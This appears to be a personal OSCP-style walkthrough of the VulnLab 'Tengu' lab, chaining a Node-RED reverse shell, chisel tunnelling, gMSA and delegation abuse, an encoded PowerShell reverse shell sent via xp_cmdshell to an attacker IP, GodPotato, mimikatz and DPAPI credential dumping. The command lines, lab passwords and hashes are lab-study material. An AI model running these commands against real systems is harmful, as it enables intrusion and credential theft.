> For the complete documentation index, see [llms.txt](https://aditya-3.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aditya-3.gitbook.io/oscp/readme/walkthroughs/vuln-lab/tengu-vulnlab.md).

# Tengu

Found Node-red on one of the 3 machines and created a node to get reverse shell and got ssh access.

Now enumerating Node-red found creds for MSSQLwhich contains some credential files ![](/files/WYPJ0HJYI0aNPtiJgLC1) We can find this in the files: ![](/files/rMhj3R6edpPTU12dSFVy) Now we need to decrypt this password: <https://blog.hugopoi.net/en/2021/12/28/how-to-decrypt-flows\\_cred-json-from-nodered-data/> Running it now: `./cred_decode.sh .` ./cred\_decode.sh .![](/files/WnGVbdjxJ5tFnvKncw3G)

Now checking access to mssql from this machine: ![](/files/iTIsva4Bje8X92axNr49) Now we can port forward with chisel Target: `./chisel client 10.8.1.208:8001 R:socks` Attacker: `chisel server --reverse --socks5 -p 8001` ![](/files/SRuQjNyqMib7QkkBqcOi)

Now using proxychains with mssqlclient:

```
proxychains mssqlclient.py nodered_connector:'DreamPuppyOverall25'@10.10.135.166
```

Now enumerating database DemoS![](/files/iWJVgmKggD2jTPXXI6Ae) And using crackstation we get the password

Now checking linux for the realm we can switch to domain user and get flag: ![](/files/ETUDUV8DFeueCfOqelIl)

Now using KeyTabExtract on `/etc/krb5.keytab` ![](/files/1INAkNt2RBaBmx6iKSXS)

Using bloodhound: ![](/files/DVumkKLkFR7xGit5MzCi) We can get gmsa password with

```
proxychains nxc ldap tengu.vl -u NODERED$ -H d4210ee2db0c03aa3611c9ef8a4dbf49 --gmsa
```

![](/files/HDmh1hXnmU1aIRR0SBFn)

Now we can use this to impersonate users in the `SQL)ADMINS` group ![](/files/cwdoJ6OXT9rV3T6RMTWP)

There's 2 users in the group: ![](/files/yMaxoVacXYmT93enOnLn)

Trying `T1_C.FOWLER`

```
proxychains -q getST.py -spn 'MSSQLSvc/SQL.tengu.vl:1433' -dc-ip dc.tengu.vl -impersonate 'T1_C.FOWLER' -hashes :bd1811a45423dcdd470df09ed1621b97 'tengu.vl/gmsa01'
```

![](/files/iDYZimoAyTdK3VNZDDbJ) Not allowed

Now trying `t1_m.winters` we get a ticket.

To login to mssql:

```
proxychains -q mssqlclient.py SQL.tengu.vl -k -no-pass
```

Now we can get reverse shell with:

```
xp_cmdshell "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AOAAuADEALgAyADAAOAAiACwAOQAwADAANQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
```

![](/files/YQoOt6u3GAflQrKrWvon) Now we can use Godpotato as we have SeImpersonate permission: ![](/files/052LPvb906j4OtkWkdGm)

Now using mimikatz:

```
Invoke-Mimikatz -Command '"lsadump::sam"'
```

![](/files/joXEdkAab2XiJY9gB2mA)

Now using \[\[SharpDPAPI]] we can get credentials ![](/files/RtxXOfx83fGhlLnP9OYB)

Using these credentials with netexec we get `STATUS_ACCOUNT_RESTRICTION`

We can use kerkeros authentication:

```
proxychains kinit T0_c.fowler
```

Then use

```
proxychains -q evil-winrm -i dc.tengu.vl -r TENGU.VL
```